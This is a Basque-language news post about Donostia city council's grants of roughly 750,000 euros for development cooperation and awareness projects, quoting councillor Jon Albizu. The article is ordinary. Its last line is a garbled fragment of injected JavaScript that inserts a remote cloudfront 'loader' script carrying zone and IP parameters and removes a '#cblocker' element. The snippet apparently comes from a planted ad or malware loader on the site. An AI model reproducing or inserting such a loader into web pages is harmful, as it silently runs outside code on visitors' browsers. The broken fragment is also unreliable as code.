Category: Emakumea

Krisiak krisi, elkartasuna ez da murrizten

donostia

0 Comments

Donostiako Udalak ia 750.000 euroko diru laguntzak banatuko ditu garapenerako lankidetza, sentsibilizazio eta hezkuntzaren alorrean lan egiten duten elkarteen artean. Tokiko Udal Gobernuak onartu ditu dirulaguntzak, agerian utziz udal taldeak elkartasunarekiko duen konpromisoa hitzetatik haratago doala. Jon Albizu Lankidetza zinegotziak adierazi du, ahalegin berezia egin dela diru laguntzei eusteko: “Ez dugu karitatean sinesten, justizia sozialean sinisten dugu, eta mundu injustu hau orekatuagoa izatea denon eskuetan dago, administrazio publikoen eta norbanakoen esku”.

Lankidetza, arazoen sustraietara joateko

Diru laguntzak bi alor ezberdinetara bideratuko dira. Batetik, lankidetzara, hau da, beste herrialdetan proiektuak garatzen dituzten gobernuz kanpoko erakundeetara (523.400 euro) eta, bestetik, sentsibilizaziora eta garapen hezkuntzara, hau da, gurean bertan kontzientziazio lanak egiten dituzten elkarteetara (224.305 euro). Albizuk azpimarratu du bi norabide horietan lan egitea ezinbestekoa dela, eta proiektu zehatzak babestea garrantzitsua den bezala, gurean sentsibilizazio kanpainak sustatzea ere garrantzitsua dela, azken batean, eraldaketa hortik etorriko delako, kontzientzia aldaketa batetik: “Krisi garaietan elkartasuna bermatu behar dugu. Arazoen sustraietara jo behar dugu eta munduan dauden desorekak konpontzen ahalegindu behar gara guk geuk kontzientzia hartuta; gu denon ongizatea bermatzeko, ezinbestekoa da mundu bidezkoago eta orekatuago bat sortzea”.

Garapenerako Lankidetzako proiektuentzako diru laguntzen deialdira 45 proiektu aurkeztu dira, eta horietatik 11 lagunduko dira diruz. Indian, Honduras, Mozambike, Bolivia, Nikaragua, Peru eta Kolonbian hainbat proiektu gauzatzeko baliatuko dute dirua garapenerako gobernuz kanpoko erakundeek, besteak beste, berdintasuna, emakumeen eskubideak, osasuna, elikadura, indarkeria eza, eta burujabetza ardatz hartuta.

Proiektu zehatzak eta ebaluazio zorrotza

Puntuazio gehien lortu duten erakundeek eskatutako erabateko kopurua jasoko dute, gehienez 60.000 euro, beti ere, gobernuz kanpoko erakunde horrek proiektuaren %20 finantzatzeko konpromisoa hartuta badauka. Albizuren esanetan, proiektuen kalitate teknikoa hobea da urtetik urtera: “Lankidetza Aholku Batzordean adostu dira puntuatu beharreko irizpideak eta aurkeztu berri dugun lankidetza planean jasota dauden ardatz berriak ere hartu ditugu aintzakotzat: elikaduraren gaineko subiranotasuna eta indarkeria eza aktiboa”.

Garapenerako Hezkuntza

Sentsibilizazioa eta Garapenerako Hezkuntzara bideratutako proiektuen deialdira, berriz, 26 egitasmo aurkeztu dira eta horietatik hamarrek jasoko dute babesa –kasu honetan 20.000 euro jasoko dute gehienera elkarteek-. Emakumeen eta nekazarien eskubideen aldeko, ingurumen sostengarriaren aldeko, elikadura subiranotasunaren aldeko, palestinarren giza eskubideen aldeko, kontsuko arduratsuaren aldeko, aniztasun kulturalaren aldeko, eta merkataritza justuaren aldeko proiektuak dira diruz lagunduko direnak.

Azkenik, eta azken egitasmo honekin lotuta, esan sentsibilizazio kanpaina hau indartzeko hainbat panel informatibo egin direla eta kultur etxeetan ikusgai daudela. Bertan iazko deialditan diruz lagundu ziren proiektuen argazkiak eta azalpenak ageri dira, donostiarrek bertatik bertara ezagutu dezaten emandako diru laguntza hauek zehazki zertara bideratzen diren.

(Iturria: Donostiako Udaleko Prentsa Bulegoaren oharretik moldatua)

// -1?’https’:'http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};]]>